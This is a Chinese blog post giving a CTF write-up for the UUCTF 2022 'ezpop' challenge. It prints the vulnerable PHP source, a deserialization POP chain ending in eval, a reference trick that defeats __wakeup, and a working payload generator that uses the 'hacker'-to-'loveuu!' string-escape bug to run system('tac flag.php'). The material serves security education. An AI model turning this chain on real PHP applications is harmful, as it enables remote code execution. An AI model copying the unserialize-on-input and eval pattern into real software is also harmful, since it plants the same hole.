首页 > 其他分享 >新手大白话 UUCTF 2022 新生赛ezpop 字符串逃逸

新手大白话 UUCTF 2022 新生赛ezpop 字符串逃逸

时间:2024-04-17 13:33:04浏览次数:21  
标签:__ function key UUCTF ezpop 2022 public basedata

今天做个字符串逃逸的题目,这个题还挺不错的,不多bb直接看源码。

点击查看代码
 <?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>

刚拿到题还有点懵b,和之前做的逃逸有些不一样。我们找出代码中的注入点,发现在youwant类中出现了eval的命令执行函数,思路瞬间清晰,但是如何进行输出,发现在nothing类中有die方法,同时die也是触发tostring魔术方法的方式,因为die函数如果status是字符串,则该函数会在退出前输出字符串,好直接构造pop链。
youwant rce -> output _tostring -> nothing die
在到这里的时候我没有注意到php的版本问题,由于这里php版本是7.2.34,不能利用更改参数个数绕过wakeup,所以这里卡了好久。看到__destruct里面将t赋给了b,a不能改,但是我们可以让a、b同用一个地址,那么b发生变化,a也随之变化。

点击查看代码
papyload:
<?
class output{
    public $a;  // 1 youwant
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;  // 2 output
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;  // 注入点
    function rce(){
        eval($this->cmd);
    }
}

$a = new youwant();
$a->cmd = 'system("ls");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
echo serialize($c);
到这里已经完成了一半,我们发现
点击查看代码
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
我们需要post的参数时data,但是data先经过序列化操作new了一个UUCTF,参数是我们POST的数据,进入UUCTF看看。
点击查看代码
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
查看代码我们发现__construct接收传入的参数$pdata传给了name,在__wakeup中判断key的值,然后将$basedata进行base64解码和反序列化操作输出给$ob,那么这时我们上边所生成的序列化数据就有用处了。我们先生成正常的UUCTF序列化数据
点击查看代码
<?
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
$a = new UUCTF();
$a->key=""UUCTF";
$a->base64data = 刚刚生成的序列化数据的base64编码;
echo serialize($a);
得到序列化数据如下:
点击查看代码
O:5:"UUCTF":4:{s:4:"name";N;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}
因为basedata不能做更改,所以我们可以从name参数下手,在传入参数时会将hacker替换为loveuu!,这对我们来说是不是多了一个字符(这里需要有字符串逃逸的基础,不会的先去看https://blog.csdn.net/qq_43632414/article/details/120499159)
点击查看代码
;s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}
这个字符串一共有214个字符,我们需要构造214个hacker来进行逃逸,到最后整个序列化数据就变为了:
点击查看代码
{s:4:"name";s:1070:"214个hacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
下面这个就是name就是我们要的$pdata
点击查看代码
214个hacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}
最后直接上payload:
点击查看代码
 <?php
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;  // 1 youwant
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;  // 2 output
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;  // 注入点
    function rce(){
        eval($this->cmd);
    }
}

$a = new youwant();
$a->cmd = 'system("tac flag.php");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
$basedata = base64_encode(serialize($c));

echo strlen($basedata);
echo "\n";

$post='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
for($i=0;$i<strlen($post);$i++)
{
  $hacker=$hacker.'hacker';

}
echo $hacker.$post;
总结:还是有难度的,比较新颖。

标签:__,function,key,UUCTF,ezpop,2022,public,basedata
From: https://www.cnblogs.com/jocker-love-you/p/18140412

相关文章

  • P8290 [省选联考 2022] 填树
    MyBlogsP8290[省选联考2022]填树很有意思的拉插优化DP。首先可以枚举\(L\)来限制选的数的值域在\(L,L+k\)中。然后进行树上DP:设\(v_i\)表示当前点\(i\)能填多少种数,\(w_i\)表示当前点\(i\)能填的数的和。\(f_i\)表示当前\(i\)子树内的所有合法根链数量,\(g......
  • masscan下载编译安装,Visual Studio 2022
    Windowswin11编译masscan.exe,2024解决错误:LNK2019无法解析的外部符号e_next_bytee_next_int32第一步:克隆仓库https://github.com/robertdavidgraham/masscan.git第二部:VisualStudio打开vs10/masscan.sln第三步:项目-重定目标解决方案第四步:生成-重新生成解决方案......
  • [题解] [CCPC陕西省赛2022 D题] Hash
    [CCPC陕西省赛2022D题]Hash题目描述给定一个字符串\(S\),按照如下方法获取\(S\)的哈希值://LanguageC++14longlongmod=5999993;longlonggethas(strings){longlongret=0;for(charc:s)ret=(ret*29+(c-'a'+1))%mod;returnret;}找到一个......
  • [题解][2021-2022年度国际大学生程序设计竞赛第10届陕西省程序设计竞赛] Type The Str
    题目描述给定n个字符串,有以下几种操作:打出一个字符,花费1。删除一个字符,花费1。复制并打出一个之前打出过的字符串,花费k。求打出所有n个字符串的最小花费。(注意,打出顺序和字符串输入的顺序不必相同)题解显然,操作3需要算字符串的最长公共子序列来处理。这个问题可以转换为......
  • [题解][2021-2022年度国际大学生程序设计竞赛第10届陕西省程序设计竞赛] Hash
    题目描述给定字符串T,要求求字符串S,满足以下条件:S是T的前缀S和T运行某段代码的哈希值相同(代码见下)T只包含小写字母S和T的长度差不超过50哈希代码://LanguageC++14longlongmod=5999993;longlonggethas(strings){longlongret=0;for(charc:s)ret=......
  • 记录解决VS 2022调试C++ DLL项目时卡顿的问题
    项目结构运行时为DotNet6的C#通过Cli/C++去调用C++的DLL。问题表现在VisualStudio2022中调试C++DLL代码时,按下F5、F10、F11跳转到下一行时VS卡顿会2秒左右,体验非常不好。问题原因然后发现原因是项目的配置属性中,调试那一行,调试器类型选择的是“自动”。解决此问题的方法......
  • windows 使用MSVC2022编译 Qt 5.12.11
    准备准备一下安装程序,并添加到PATH环境变量。Perl选择64位Portable:PerlPortableRuby选择64位版本进行安装:ruby64bitPython安装Pythonjomnmake不支持并行编译,使用jom进行并行编译。下载jom,解压并添加到PATH环境变量。jomQt5.12.11编译下载地址:Qt5.12.11。使用MS......
  • 2022年4月树莓派系统初始用户名和密码
    最新版的树莓派系统(2022年4月发布的),没有了初始化的用户名和密码,以前用户名是pi,密码是raspberry,但是这次需要进系统之后才能设置。那如果手头没有屏幕无法操作的话,可以在往tf卡里刷好系统之后,新建一个文件,来设置初始话账号密码。文件名:userconf.txt文件内写入:pi:$6$/4.VdYgDm7......
  • 【专题】2022年智慧城市白皮书报告PDF合集分享(附原数据表)
    报告链接:http://tecdat.cn/?p=32732本白皮书对智慧城市的发展历程进行了归纳和总结,分析了发展实践中的新变化和新内涵,并提出了一系列新的智慧城市建设理念、架构和建议。阅读原文,获取专题报告合集全文,解锁文末29份智慧城市相关行业研究报告。其目的在于为建设新型智慧城市提供......
  • [题解][2022年江西省大学生程序设计竞赛] Remove and append
    题目描述给定一个包含n个整数的数组a。定义一个操作如下:从数组a中选择k个整数,将它们删除,并将它们的和追加到数组末尾。如果数组A比数组B(长度相同)字典序大,那么在A和B第一次不同的位置上,A的数字比B对应位置上的数字要大。例如,[0,1,14,0]比[0,1,5,6]字典序大,因为它们在第三......